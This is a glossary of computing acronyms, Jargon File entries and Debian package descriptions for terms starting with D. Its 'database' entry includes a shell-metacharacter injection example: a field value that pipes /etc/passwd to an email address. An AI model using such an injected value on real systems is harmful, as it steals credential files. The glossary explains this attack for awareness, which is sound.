Domestic Digital Bus [95]

Direct3D (DirectX, MS) [95]

Direct3D Retained Mode (DirectX, MS) [95]

Graphical tool for downloading files from Internet Downloader for X is a tool for downloading files from the Internet via both HTTP and FTP with a powerful but userfriendly interface. It supports reconnecting and resuming on connection timeouts, has a download queue for multiple files, support for simultaneous downloads, and many other features for powerful downloading. It is written in C++, the GUI uses GTK+. [3]

Destination [MAC] Address (SNA, Token Ring, ATM, FDDI, ...) [95]

Digital-to-Analog (D/A), "D/A" [95]

DatenAustauschphase 11 [allgemeine bauabrechnung] (GAEB) [95]

DatenAustauschphase 81 [leistungsverzeichnis] (GAEB) [95]

DatenAustauschphase 82 [kostenanschlag] (GAEB) [95]

DatenAustauschphase 83 [angebotsanforderung] (GAEB) [95]

DatenAustauschphase 84 [angebotsabgabe] (GAEB) [95]

DatenAustauschphase 85 [nebenangebot] (GAEB) [95]

DatenAustauschphase 86 [zuschlag/auftragserteilung] (GAEB) [95]

Device Access Architecture (Vireo) [95]

Digest Access Authentication (HTTP) [95]

Digital Audio Broadcasting [95]

Digital to Analog Converter [95]

Discretionary Access Control [95]

Dual Address Cycle (PCI) [95]

Dual Attached Concentrator (FDDI) [95]

??? [hardware description language] (HDL) [95]

Distributed Academic Computing Network Operating System (OS, HECTOR) [95]

Digital Access Control System (ISDN, DES, cryptography) [95]

DAta Compression Technology [95]

Multi-algorithm compression DACT compresses each block within the file with all its known algorithms and uses the block with the best compression ratio. DACT can encrypt the compressed data with one of two algorithms. Compression time for DACT is slow as each block is compressed multiple times, Current supported compression algorithms include RLE, Delta, Text, Zlib, Modified Zlib, Bzip2 and Seminibble Encoding. [3]

Desktop Application Director (WordPerfect) [95]

Exterminates all rational thought DadaDodo is a program that analyses texts for Markov chains of word probabilities and then generates random sentences based on that. Sometimes these sentences are nonsense; but sometimes they cut right through to the heart of the matter and reveal hidden meanings. [3]

Digital Audio Extraction (CD, audio) [95]

/day'mn/ or /dee'mn/ n. [from the mythological meaning, later rationalized as the acronym 'Disk And Execution MONitor'] A program that is not invoked explicitly, but lies dormant waiting for some condition(s) to occur. The idea is that the perpetrator of the condition need not be aware that a daemon is lurking (though often a program will commit an action only because it knows that it will implicitly invoke a daemon). For example, under ITS writing a file on the LPT spooler's directory would invoke the spooling daemon, which would then print the file. The advantage is that programs wanting (in this example) files printed need neither compete for access to nor understand any idiosyncrasies of the LPT. They simply enter their implicit requests and let the daemon decide what to do with them. Daemons are usually spawned automatically by the system, and may either live forever or be regenerated at intervals. Daemon and demon are often used interchangeably, but seem to have distinct connotations. The term 'daemon' was introduced to computing by CTSS people (who pronounced it /dee'mon/) and used it to refer to what ITS called a dragon; the prototype was a program called DAEMON that automatically made tape backups of the file system. Although the meaning and the pronunciation have drifted, we think this glossary reflects current (2000) usage. [7]

A background process of the operating system that usually has root security level permission. A daemon usually lurks in the background until something triggers it into activity, such as a specific time or date, time interval, receipt of e-mail, etc. [8]

A process lurking in the background, usually unnoticed, until something triggers it into action. For example, the \cmd{update} daemon wakes up every thirty seconds or so to flush the buffer cache, and the \cmd{sendmail} daemon awakes whenever someone sends mail.

A program that runs continuously in the background, until activated by a particular event. A daemon can constantly query for requests or await direct action from a user or other process. [94]

a program which runs for an extended period (usually "forever") to handle requests for service as needed. [32]

A program, usually on a computer running UNIX, that serves some obscure function (such as routing electronic mail to its recipients) and usually has a very limited user interface. There's some debate about the origins of the word, but most say it derives from the devilish spirits of Greek mythology. [39]

Disk And Execution MONitor (Unix) [95]

On UNIX, a daemon is a program running in the background, usually providing some sort of service. Typical daemons are those that provide e-mail, printing, telnet, FTP, and web access. [96]

Distributed Application Framework (CCITT) [95]

DatenAnschaltGeraet [95]

??? (Sun) [95]

Device Application Interface (Novell, Netware, SMS) [95]

Distributed Artificial Intelligence (AI) [95]

view web comic strips more conveniently A perl script that gathers online comic strips for more convenient viewing. When in normal mode, it creates an HTML page that references the strips directly, and when in local mode, it also downloads the images to your local disk. [3]

Deutsches AgrarInformationsNETz (WWW, org.) [95]

Distributed Application Integration System (ORB) [95]

Data Access Language (Apple) [95]

Distributed Artificial LIfe (AI), "DALi" [95]

Direct Access Method / Mode (DAM, SAM) [95]

Distributed Abstract Machine [95]

Draft AMendment (ISO) [95]

Damn Small Linux is a business card size (50MB) Linux distribution. Despite it's miniscule size it strives to have a functional and easy to use desktop. The initial freshmeat announcement for version 0.1 was released March 19, 2003. Version 0.3.10 was released June 4, 2003. A CD-based distribution. [33]

Dynamically Adaptive Multicarrier Quadrature Amplitude Modulation [95]

De.Admin.News.Announce (Usenet), "D.A.N.A." [95]

An IRC server designed for centrally maintained networks This is the ircd designed for use on OpenProjects Net (www.openprojects.net), based on the hybrid ircd used by efnet. It attempts to handle the network transparently as a unit, and to provide features to support the OPN philosophy. This package contains the main binary files. [3]

IRC services implementation for dancer-ircd This is the counterpart to dancer-ircd, a services implementation (nickserv, chanserv, etc) that works with the dancer protocol. It can connect to a remote server, but it is highly recommended that you run a local ircd instead and connect it to that. Note that dancer-services will not work properly with any ircd other than dancer-ircd. Dancer-services is essentially the same as hybserv, only patched to work with dancer-ircd. [3]

Delivery of Advanced Network Technology to Europe (org., Europe) [95]

Deutschsprachige ANwendervereinigung TEx [e.v.] (TeX, user group) [95]

Provides a SOCKS wrapper for users behind a firewall. Dante provides "socksify" - a program which forwards network requests from any program to the SOCKS server (v4 or v5) which then performs them on your behalf. [3]

SOCKS server. dante-server provides "danted" - a SOCKS (v4 and v5) server [3]

Data Access Objects (DB) [95]

Destination Address Omitted [flag] (CATNIP) [95]

Disk At Once (CD-R) [95]

Data Access Protocol (DEC, DNA) [95]

Developers Assistance Program (IBM) [95]

Directory Access Protocol (X.500, DS) [95]

Directory Application Protocol (IN) [95]

Document Application Profile (JTC1, ODIF, ODA) [95]

Distributed Application Programming Environment (ORB) [95]

Document Application Processing in a Heterogeneous Network Environment [95]

Developer API Extensions (IBM, OS/2, API) [95]

Database Application Remote Interface (IBM, DB) [95]

A source-based multi-platform Linux distribution. [33]

Defense Automation Resources Management Program (mil., USA) [95]

Defense Advanced Research Projects Agency (org., USA) [95]

Was formally called ARPA. Defence Advanced Reseach Project Agency.

Dynamic Advertising Reporting & Targeting [technology] (WWW, Doubleclick) [95]

Directory Assistance Service [protocol] (RFC 1202) [95]

Disk Array Subsystem (Unix, HP-UX) [95]

Dual Attached Station (FDDI) [95]

Dual Attachment Station (FDDI, Schneider & Koch) [95]

Dynamic Allocation Scheme [protocol] [95]

Direct Access Storage Device [95]

Dial Access Signaling Interface [95]

Drive Active, Slave Present (IDE) [95]

Distributed Authentication Security Service (RFC 1507) [95]

Digital Audio Tape (Digital audio) [95]

An important method employed by redundant arrays of inexpensive disks (RAID) in which a single unit of data is distributed acroess several hard disks, increasing ressitance to a failure in one of the drives. [39]

A collection of persistently accessed data that is typically stored for fast and/or arbitrary access. Data stored within a database can be queried, viewed, and manipulated by user applications or Web services such as forms and applets. [94]

A computer holding large amounts of information that can be searched by an Internet user. A storehouse of information on the Net. [44]

An indexed collection of information which can be accessed, modified and queried using a query language such as SQL. Popular databases applications for Linux include the commercial Oracle product and Informix-SE. [32]

The database is one of the underpinning applications of the Internet. The concept of database "records" predates that of "files" within a computer. These days, most discussion of databases revolves around SQL (structured query language). An SQL statement is a special language that you may use to encode a statement such as show me everyone who has a first name of "Robert". The actual SQL statement would look like: "SELECT * from Everyone where firstname equals 'Robert'". Key point: The near-programming quality of SQL means that it is open to much the same security holes that plague other scripting languages. For example, a frequent attacks against databases is to insert shell metacharacters into data fields. For example, consider a reporting system using PERL that extracts data out of a database. I may create a bank acount where name is "| mail smc@robertgraham.com < /etc/passwd", which will send me the password field when you run your month-end reports. In late 1999 and early year 2000, thousands of Microsoft's web servers were broken into because programs submitted command-line statements through SQL query statements through a default script left open on default installations of their servers. [96]

A packet which includes both the source and destination addresses provided by the user, and not the network. Datagrams can also include data. [32]

In protocols, a datagram is a single transmission that stands by itself. They are often known as unreliable datagrams because there is not guarantee that they will reach their destination. It is up to some higher protocol or application to verify that a datagram reaches its destination. Streaming media (audio/video/voice) often use datagrams because it doesn't really matter if a few are lost in transmission. [96]

print or set the system date and time [34]

DATEnVerarbeitungszentrale der steuerberatenden Berufe (org., Nuernberg, Germany) [95]

DATa EXchange [95]

DATa EXchange - Jedermann ??? (Telekom), "DATEX-J" [95]

DATa EXchange - Leitungsvermittlung [95]

DATa EXchange - Multimegabit (Telekom, SMDS), "DATEX-M" [95]

DATa EXchange - Packetized / Packetvermittlung (Telekom, X.25), "DATEX-P" [95]

Digital Audio Video (Apple, Digital audio) [95]

[WWW] Distributed Authoring diVersioning (WWW) [95]

Digital Audio Visual Interoperatibility Council (org., Digital audio) [95]

Digital Audio Video Interactive Decoder (Digital audio) [95]

DAimler-Benz Vertragspartner-InformationsSystem (MBAG) [95]

Defense Attache Worldwide Network (network, mil.) [95]

Developer API eXtension (OS/2, IBM, API) [95]

DataBase [95]

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. It should be installed if compatibility is needed with databases created with db1. This library used to be part of the glibc package. [4]

DataBase 2 (IBM, DB) [95]

The Berkeley Database (Berkeley DB) is a programmatic toolkit that provides embedded database support for both traditional and client/server applications. This library used to be part of the glibc package. [4]

DataBase 2 Client/Server (IBM, DB2, DB), "DB2 C/S" [95]

(Jade Wrapper) converts SGML files to DVI [34]

(Jade Wrapper) converts SGML files to HTML [34]

(Jade Wrapper) converts SGML files to PDF [34]

(Jade Wrapper) converts SGML files to PS [34]

(Jade Wrapper) converts SGML files to RTF [34]

DataBase 2 Software Development Toolkit (DB2, IBM, DB), "DB2 SDK" [95]

The Berkeley Database (Berkeley DB) is a programmatic toolkit thatprovides embedded database support for both traditional and client/server applications. The Berkeley DB includes B+tree, ExtendedLinear Hashing, Fixed and Variable-length record access methods, transactions, locking, logging, shared memory caching, and database recovery. The Berkeley DB supports C, C++, Java, and Perl APIs. It is used by many applications, including Python and Perl, so this should be installed on all systems. [93]

DataBase Administrator (DB) [95]

Drei Buchstaben Akronym [95]

DataBase Administration Center (DB) [95]

DataBase Administration System (DB) [95]

Database connection pooling, load balancing and write-replication DBBalancer provides facilities to transparently implement: - pooling of connections - load balancing across multiple backends - write replication to multiple backends DBBalancer is a middleware daemon that sits in between database clients, like C, C++, TCL, Java JDBC, Perl DBI, etc programs and a database server. Currently the only server supported is PostgreSQL, but the architecture is open to embrace more servers in future. Also see http://dbbalancer.sourceforge.net/ for more information. [3]

Device Bay Controller [95]

Double-Byte Character Set [95]

DataBase Description (IBM, DB) [95]

??? Direct Memory Access (Apple) [95]

Dual Brightness Enhancement Foile (LCD) [95]

The dbench (disk) and tbench (TCP) benchmarks dbench and tbench simulate the load of the netbench "industry standard" benchmark used to rate (windows) file servers. Unlike netbench, they do not require a lab of Microsoft Windows PCs: dbench produces the filesystem load on a netbench run, and tbench produces the network load, allowing simpler bottleneck isolation. Note that this benchmark is *not* a realistic reflection of normal server load. [3]

xBase <--> MySQL This program takes an xBase file and sends queries to an MySQL server to insert it into an MySQL table and vice versa. [3]

Converting xBase files to PostgreSQL This program takes an xBase-file and sends queries to an PostgreSQL-server to insert it into a table. [3]

DataBase Interface (DB) [95]

Interactive SQL shell with readline support Database shell with readline support [command history, tab completion etc] based on the Perl DBI: Has specific support for Oracle, MySQL, Sybase, PostgreSQL, and a generic driver that should work for anything supported by DBI. [3]

DataBase Language (DB) [95]

Dual Beam Landing Optimizer [95]

Dynamic Back Link Technology (WWW) [95]

DataBase Management, a library of functions which maintain key-content pairs in a data base. [19]

DataBase Manager (DB) [95]

DataBase Management Environment (DB) [95]

DataBase Management System (DB) [95]

Disk/Drum Based Operating System (OS) [95]

DataBase Publishing (DB) [95]

Delay Bandwidth Product [95]

Data Base Relational Application Directory (DB) [95]

Data Base Request Module (DB) [95]

Deutscher Bildungs-Server (DFN, WWW) [95]

Duplex Bus Selector [95]

Files used for the development of DBS source packages DBS stands for Debian Build System and is an alternative approach for source packages which want to ship a pristine source and then apply patches to it. This allows the distribution of multiple patches inside one package that are applied during the build process. Please see http://snoopy.apana.org.au/~bam/debian/faq/#dbs for further information on DBS. [3]

Dynamic Beam Spot Control (Eizo) [95]

The fastest dictionary server for SKK dbskkd-cdb is an alternate version of skkserv using cdb. [3]

Data Base Task Group (CODASYL, DB) [95]

View dBase III files Dbview is a little tool that will display dBase III and IV files. You can also use it to convert your old .dbf files for further use with Unix. It wasn't the intention to write a freaking viewer and reinvent the wheel again. Instead dbview is intend to be used in conjunction with your favourite unix text utilities like cut, recode and more. [3]

DatenBankVerwaltungsSystem (DB) [95]

the DB database archiver [34]

the DB database checkpoint utility [34]

the DB database deadlock detector [34]

the DB database dump utility [34]

the DB database dump utility [34]

the DB database loader [34]

Debugging utility to dump Berkeley DB log files. [34]

the DB database recovery utility [34]

display DB statistics [34]

Data Cartridge [95]

Device Context [95]

Dublin Core [meta data] [95]

The GNU dc arbitrary precision reverse-polish calculator GNU dc is a reverse-polish desk calculator which supports unlimited precision arithmetic. It also allows you to define and call macros. A reverse-polish calculator stores numbers on a stack. Entering a number pushes it on the stack. Arithmetic operations pop arguments off the stack and push the results. [3]

Data Center Automation [95]

Defense Communications Agency (org., USA, mil., predecessor, DISA) [95]

Digital Communication Associates [95]

Digital Controlled Amplifier (VCA) [95]

Distributed Communication Architecture (Sperry Univac) [95]

Document Center Architecture [95]

Document Content Architecture (IBM, CCS) [95]

Dynamic Cache Architecture [level] 2 [95]

Distributed Console Access Facility [95]

Data link switching Client Access Protocol (DLSW, RFC 2114) [95]

Data Control Block [95]

Disk Coprocessor Board (Novell, SCSI, HBA) [95]

Data Communications Computer [95]

Data Country Code (ATM) [95]

Direct Client to Client (IRC) [95]

Display Combination Code [95]

DOS Command Center [95]

Dependable Computing for Critical Applications (conference) [95]

Distributed Component Computing Architecture (Star, C/S) [95]

Dedicated Control CHannel (GSM, mobile-systems) [95]

DisContiguous Shared Segments [95]

Command-line CD player dcd (Dave's CD player) is a small CD player, for people who think workbone is too bloated and graphical. All functions are accessible from the command line. Loop tracks in the background, use it with 'at' as an alarm clock, whatever. [3]

Data Carrier Detect (MODEM, RS-232) [95]

DOMAIN Control DataBase (DOMAIN) [95]

Data Circuit terminating Equipment (X.25, CCITT, IBM, HP, DEC, Tandem, Sun) [95]

Data Communications Equipment [95]

Distributed Computing Environment (OSF) [95]

Distributed Computing Environment / Remote Procedure Call (DCE, RPC), "DCE/RPC" , "DCE RPC" [95]

Direct Connect Graphical client (GTK+) (peer-based file-sharing) dc_gui is a gtk front-end for the dctc program. dctc handles all communication with dc hubs and clients, while dcgui presents an interface that has many of the features of the original directconnect client, plus some really useful improvements. It is intended for peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". dcgui is still alpha, so some care has to be taken - try it out! [3]

Data Capture Interface (UMA) [95]

Device Control Interface [95]

Display Control Interface (MS, Windows, Intel) [95]

Data Control Language [95]

DEC Control Language (DEC) [95]

Digital Command [scripting] Language (DEC, VMS) [95]

Digital clock for the X Window System with flexible display. Dclock main feature is its great flexibility in how it can draw. You can even display the output from "date" in it such as "Wednesday, 3rd Jan". Dclock also supports setting an alarm. [3]

Digital Carrier Line Unit [95]

Data Compression Lempel-Ziv [95]

Digital Carrier Module [95]

Digital Circuit Multiplication Equipment [95]

Data Communication Network Architecture [95]

Digital Controlled Oscillator [95]

Distributed Component Object Model (COM, MS, OLE, ActiveX) [95]

Desktop COmmunication Protocol (Linux, KDE) [95]

Perl bindings for DCOP Perl bindings for DCOP [3]

Python bindings for DCOP Python bindings for DCOP [3]

Data Compression Protocol (Motorola) [95]

Data Communications Protocol Standards [95]

Design Change Request (AIX, IBM) [95]

Digital Cellular Radio Conference (GSM, conference, mobile-systems) [95]

Data sharing Control System (NEC) [95]

Defense Communications System (mil., USA) [95]

Desktop Color Separation [95]

Digital Cellular System (mobile-systems) [95]

Digital Colour System (Adobe, Photoshop) [95]

Digital Control System (NEC) [95]

Digital Cross-connect System (DEC) [95]

??? (CICS, IBM) [95]

Data Collection Terminator (BTX) [95]

Discrete Cosine Transformation (MPEG, JPEG) [95]

Direct Connect Text Client Text console client of well known DC (Direct Connect) protocol which offers peer-based file-sharing. In practise it works better than gnutella and other similar systems as it allows dc hubs (servers) administators to require clients to share specified amount of data. The amount is usually based on type of client's connection and it is used not to hurt or exclude anybody but to make file sharing "fair play". It is *really* not intended to be used "by hand". Instead You should install and use dcgui program. [3]

Defense Commercial Telephone Network (mil., USA, network) [95]

Data Cache Unit (CPU, POWER) [95]

/dee-dee/ vt. [Unix: from IBM JCL] Equivalent to cat or BLT. Originally the name of a Unix copy command with special options suitable for block-oriented devices; it was often used in heavy-handed system maintenance, as in "Let's dd the root partition onto a tape, then use the boot PROM to load it back on to a new disk". The Unix dd(1) was designed with a weird, distinctly non-Unixy keyword option syntax reminiscent of IBM System/360 JCL (which had an elaborate DD 'Dataset Definition' specification for I/O devices); though the command filled a need, the interface design was clearly a prank. The jargon usage is now very rare outside Unix sites and now nearly obsolete even there, as dd(1) has been deprecated for a long time (though it has no exact replacement). The term has been displaced by BLT or simple English 'copy'. [7]

convert and copy a file [34]

copies a file (from standard input to standard output, by default) using specific input and output blocksizes, while optionally performing conversions on it. [32]

Dansk Dataforening (org., Denmark) [95]

Data Dictionary (SA, CASE, DB) [95]

Depacketization Delay [95]

Double Density [disks] (FDD) [95]

DOMAIN Defined Attribute (DOMAIN) [95]

converts Gregorian dates to Discordian dates [34]

Data-Design HBCI Banking Application Components (HBCI) [95]

Distributed DataBase Management System (DBMS, DB) [95]

Device Color Characterization (XCMS) [95]

Display Data Channel (VESA) [95]

Device Data Channel [standard], level 2B (DDC) [95]

Double Density Compact Disk (CD, Sony) [95]

Double Density Compact Disk - Read (Sony, CD), "DDCD-R" [95]

Double Density Compact Disk - Read Write (Sony, CD), "DDCD-RW" [95]

Update dynamic IP address at DynDNS.org A perl based client to update your dynamic IP address at DynDNS.org (or other dynamic DNS services such as Hammernode, Zoneedit or EasyDNS), thus allowing you and others to use a fixed hostname (myhost.dyndns.org) to access your machine. This client supports both the dynamic and (near) static services, MX setting, and alternative host. It caches the address, and only attempts the update if the address actually changes. For more information on DynDNS.org, see http://www.dyndns.org/. [3]

Digital Data Communication Message Protocol [95]

Distributed Database Connection Services /2 (IBM, DB, DRDA), "DDCS/2" [95]

Data Display Debugger (GNU) [95]

The Data Display Debugger, a graphical debugger frontend. The Data Display Debugger (DDD) is a popular graphical user interface to UNIX debuggers such as GDB, DBX, XDB, JDB and others. Besides 'usual'' front-end features such as viewing source texts and breakpoints, DDD provides an interactive graphical data display, where data structures are displayed as graphs. Using DDD, you can reason about your application by watching its data, not just by viewing it execute lines of source code. Other DDD features include: debugging of programs written in Ada, C, C++, Chill, Fortran, Java, Modula, Pascal, Perl and Python; machine-level debugging; hypertext source navigation and lookup; breakpoint, backtrace, and history editors; preferences and settings editors; program execution in terminal emulator window; debugging on remote host; on-line manual; interactive help on the Motif user interface; GDB/DBX/XDB command-line interface with full editing, history, and completion capabilities. This version is linked against Lesstif, an LGPL-ed implementation of Motif. [3]

DatenenDEinrichtung [95]

Dynamic Data Exchange [95]

Digital Data Exchange System (ANSI) [95]

Data Decryption Field (cryptography) [95]

Device Dependent Interface [95]

Device Driver Interface [95]

Dual [RAS] Dual Inline Memory Module (DIMM, RAS), "D-DIMM" [95]

Device Development / Driver Kit (MS) [95]

Data Definition Language [95]

Document Description Language [95]

Distributed Data Management (IBM, CCS) [95]

Display Driver Management Layer [95]

Defense Data Network (USA, network, mil.) [95]

Distributed DOMAIN Naming Service (TCP/IP) [95]

Dynamic DOMAIN Name Service (OS/2, IBM) [95]

Dynamic Drive Overlay (HDD, Ontrack) [95]

Distributed Denial Of Service [attack], "DDoS" [95]

A DDoS attack is one that pits many machines against a single victim. An example is the attacks of February 2000 against some of the biggest websites. Even though these websites have a theoretical bandwidth of a gigabit/second, distributing many agents throughout the Internet flooding them with traffic can bring them down. Key point: The Internet is defenseless against these attacks. The best defense is for ISPs to do "egress filtering": prevent packets from going outbound that do not originate from IP addresses assigned to the ISP. This cuts down on the problem of spoofed IP addresses. History: The original DDoS tools were clonebots used during IRC wars. See also: zombie. [96]

Datagram Delivery Protocol (AppleTalk) [95]

Distributed Data Processing [95]

Double Data Rate (SDR) [95]

Dynamic Desktop Router (Cogent) [95]

Defense Data Repository System (mil., USA) [95]

Double Data Rate Synchronous Dynamic Random Access Memory (DRAM, RAM, IC), "DDR-SDRAM" [95]

Double Data Rate Static Random Access Memory (RAM, IC) [95]

Digital Data Service / System [95]

Digital Data Storage (Sony, HP, DAT, ISO, ANSI, ECMA, Streamer) [95]

Direct Digital Sampling (CD-RW, SCSI) [95]

Distributed Directory Service (DCE) [95]

Tools for using DDS features of DAT drives with GNU tar This tool makes use of the fast seek command of DAT devices. Files from a selected file archive can be extracted within one minute. An undocumented c-shell script scsi_vendor is provided which may help in learning more about an unknown SCSI device. It is used by the mt-dds tool. scsi_vendor requires the tcsh flavor of c-shell. [3]

Digital Data Service Adapter [95]

Digital Data Storage - Data Compression (DDS, DCLZ), "DDS-DC" [95]

Simple Kana to Kanji conversion program Daredevil SKK is a branch of SKK (Simple Kana to Kanji conversion program, an input method of Japanese). It forked from the main trunk, SKK version 10.56. It consists of a simple core and many optional programs which provide extensive features, however, our target is to more simplify core, and more expand its optional features. [3]

Double Dynamic Suspension System (Asus, CD-ROM) [95]

Dynamic Debugging Tool (DEC) [95]

Dynamic DNS Tools Client. This is the client side implementation of the DDTP protocol. It allows you to assign a fixed FQDN to any hosts that connects to the internet using a dynamic IP. You have to register with a DDT service provider in order to use it. [3]

Dynamic DNS Tools Server. This is the server side implementation of the DDTP protocol. This is useful only if you want to provide a service similar to the one at ddts.net. You should not install unless you know what you are doing. [3]

Dialog Data Unit (BTX) [95]

DatenDirektVerbindung (Telekom) [95]

DES-DES-Verfahren (cryptography, HBCI) [95]

Dialog Data Validation [95]

Daimler-benz DatenVerbundSystem (MBAG) [95]

Dynamic Dispatch Virtual Tables [95]

Digital Display Working Group (org., LCD) [95]

Distributed Data eXchange [95]

DatenElement (HBCI) [95]

Deterministischer Endlicher Automat [95]

adj. 1. Non-functional; down; crashed. Especially used of hardware. 2. At XEROX PARC, software that is working but not undergoing continued development and support. 3. Useless; inaccessible. Antonym: 'live'. Compare dead code. [7]

n. 1. [techspeak] A situation wherein two or more processes are unable to proceed because each is waiting for one of the others to do something. A common example is a program communicating to a server, which may find itself waiting for output from the server before sending anything more to it, while the server is similarly waiting for more input from the controlling program before outputting anything. (It is reported that this particular flavor of deadlock is sometimes called a 'starvation deadlock', though the term 'starvation' is more properly used for situations where a program can never run simply because it never gets high enough priority. Another common flavor is 'constipation', in which each process is trying to send stuff to the other but all buffers are full because nobody is reading anything.) See deadly embrace. 2. Also used of deadlock-like interactions between humans, as when two people meet in a narrow corridor, and each tries to be polite by moving aside to let the other pass, but they end up swaying from side to side without making any progress because they always move the same way at the same time. [7]

deallocate unused virtual terminals [34]

Tool to handle debian package archives. This tool can create a potato like file structure that dselect, apt-get and similar tools can use for easier installation. You just have to place the package files into a incoming directory and the tool does the sorting (if you place the generated '.changes' file there too). OBSERVE! This package will create a cronjob that does the actual sorting. [3]

Debian Auxiliary Programs This package contains Perl programs and modules to build and publish Debian packages. debaux-build automatically downloads APT sources before building, applies patches and additional sources. It has options to build the packages in an existing chroot environment, check the generated packages with lintian, install the created packages on your local system or turn them into RPM packages. debaux-build has experimental support for downloading Perl modules from CPAN and creating the necessary Debian packaging files. debaux-publish uploads packages and runs the scripts to create the APT sources and packages files on the remote system. debaux-publish doesn't support the pool structure yet. The DebAux::Debconf module provides an easy-to-use interface for the Debconf::Client::ConfModule::get function. [3]

The bug tracking system based on the active Debian BTS Debian has a bug tracking system which files details of bugs reported by users and developers. Each bug is given a number, and is kept on file until it is marked as having been dealt with. The system is mainly controlled by e-mail, but the bug reports can be viewed using WWW. This version is fully functional, but it does not autoconfig, see /usr/share/doc/debbugs/README.Debian after installation. Note: there might be some appearance issues where the a display variable doesn't expand as expected. [3]

Access the Debian BTS from within Emacs This package contains: * debian-bug.el, an Elisp function to submit a bug from within Emacs. * gnus-BTS.el, an enhancement to Gnus to provide buttons on bug numbers seen in Debian-related messages. [3]

Debian configuration management system Debconf is a configuration management system for debian packages. Packages use Debconf to ask questions when they are installed. [3]

communicate with debconf [34]

copy a debconf db [34]

extract a language from a templates file [34]

load template file into debconf database [34]

merge together multiple debconf template files [34]

dummy package for upgrade purposes This is an empty package which depends on debconf. It exists only to ensure smooth upgrades from potato to woody, and can be safely removed at any time. [3]

debconf utilities This package contains some small utilities to aid users and developers. There are utilities to help manage debconf databases, others to manage translated template files and a program to communicate directly with debconf from the command line. [3]

Install only wanted Debian packages debfoster is a wrapper program for apt and dpkg. When first run, it will ask you which of the installed packages you want to keep installed. After that, it maintains a list of packages that you want to have installed on your system. It uses this list to detect packages that have been installed only because other packages depended on them. If one of these dependencies changes, debfoster will take notice, and ask if you want to remove the old package. This helps you to maintain a clean Debian install, without old (mainly library) packages lying around that aren't used any more. [3]

download/compile source and binary Debian packages debget downloads source and binary Debian packages by name. It doesn't require a local copy of the Packages files, instead it lists directories on the FTP site to find out what versions are available. debget can also optionally unpack and compile source packages, and even install the generated binary packages. If you intend to use these features you should install the devscripts package for the dscverify script it contains. [3]

helper programs for debian/rules A collection of programs that can be used in a debian/rules file to automate common tasks related to building debian packages. Programs are included to install various files into your package, compress files, fix file permissions, integrate your package with the debian menu system, suidmanager, doc-base, etc. Most debian packages use debhelper as part of their build process. [3]

DMA Extended Bus Interface (Acorn, DMA) [95]

The Debian Project is currently the largest volunteer based distribution provider. Debian has an old stable version 2.2 (potato), a newer stable version 3.0r1 (woody), and less stable but more current branches available. [33]

Tools for building (Official) Debian CD set Debian-cd is the official tool for building Debian CD set since the potato release. It was formerly called YACS (for Yet Another CD Script). Its goal is to facilitate the creation of customized Debian CD set. [3]

Text from: Debian GNU/Linux: Guide to Installation and Usage This package will install the full text in HTML and PostScript formats from the book "Debian GNU/Linux: Guide to Installation and Usage" by Debian developers John Goerzen and Ossama Othman (ISBN 0-7357-0914-9). You can find the installed items under /usr/doc/debian-guide. [3]

Debian-Ham is a floppy distribution specifically for contesting and logging. It is based on uClibc, busybox, and tlf. The current scheme uses a LILO boot floppy with a minix root floppy. Network support is included to connect to a DX cluster. The initial Freshmeat announcment was for version 0.3, released July 21, 2002. Version 0.5 was released April 24, 2003. A floppy-based distribution. [33]

This is an internal project to make Debian an OS that children of all ages will want to use. Our initial focus will be on producing something for children up to age 8. Once we have accomplished this, our next target age range is 7 to 12. By the time children reach their teens, they should be comfortable with using Debian without any special modifications. [33]

GnuPG (and obsolete PGP) keys of Debian Developers The Debian project wants developers to digitally sign the announcements of their packages with GnuPG, to protect against forgeries. This package contains keyrings of GnuPG and (deprecated) PGP keys of developers. [3]

Debian-Med is an internal Debian project to support tasks of people in medical care. The goal of Debian-Med is to build a a complete system for all tasks in medical care, using only free software. A 'special purpose/mini' distribution. [33]

Debian Policy Manual and related documents This package contains: - Debian Policy Manual - Linux Filesystem Hierarchy Standard (FHS) - Authoritative list of virtual package names - Paper about libc6 migration - Policy checklist for upgrading your packages It also replaces the old Packaging Manual; most of the still-relevant content is now included as appendices to the Policy Manual. [3]

Scripts used to run tests against an installed Debian system This package contains tests and the framework to run them, and test provided by other packages to test themselves. The intent is that this should build into a test suite that provides a reasonable level of confidence that a Debian system is working correctly. [3]

DebianDoc SGML DTD and formatting tools This is an SGML-based documentation formatting package used for the Debian manuals. It reads markup files and produces DVI (via LaTeX), HTML, Info (via Texinfo), LaTeX, PostScript (via DVI), Texinfo, and plain text (with overstrikes a la troff as well as without) files. The LaTeX based output needs the libpaperg, tetex-bin and tetex-extra packages. The Texinfo based output needs the texinfo package. [3]

Miscellaneous utilities specific to Debian. Debianutils includes installkernel mkboot mktemp readlink run-parts savelog sensible-editor sensible-pager tempfile which. [3]

Debianizing Tool and automated binary generation Eases the development and maintenance of Debian Sourcepackages. - deb-make: Generate a debian style sourcepackage from a regular sourcecode archive. Customizes control files. Provides example setup for debstd that is usually usable with minimal editing. - "debstd" which has the following abilities: - Automates compression of documentation, localizes manpages compresses and installs them. - Supports multiple binaries generated from a single source package - Generates maintainer scripts for you and installs all scripts for you in the proper locations with the proper permissions. - Can perform modifications on a variety of important debian config files through generation of proper maintainer scripts. - Runs dpkg-shlibdeps on all ELF binaries for you and generates correct shlibs file for provided libraries automatically. - Checks symlinks to manpages /documentation and redirects them if a file was compressed. [3]

Bootstrap a basic Debian system debootstrap is used to create a Debian base system from scratch, without requiring the availability of dpkg or apt. It does this by downloading .deb files from a mirror site, and carefully unpacking them into a directory which can eventually be chrooted into. [3]

Find orphaned libraries. deborphan finds "orphaned" packages on your system. It determines which packages have no other packages depending on their installation, and shows you a list of these packages. It is most useful when finding libraries, but it can be used on packages in all sections. [3]

Debian Packages/Sources file partition tool debpartial is a program to separate Packages.gz and Sources.gz files by size of packages and sources. It can be used in the case of: * creating 1 DVD/CD Debian (source & binary) * creating Debian Daily Diff CD. * separating the debian archive into several harddisks. * mirroring packages only you want (using debmirror etc). [3]

A package for use at expos. Debroster starts up an eterm with the Debian logo as the background, with a randomly-ordered list of the current developers scrolling up the screen. Use it to show just how many people contribute to the Debian project - and so why we are so damn good :-) [3]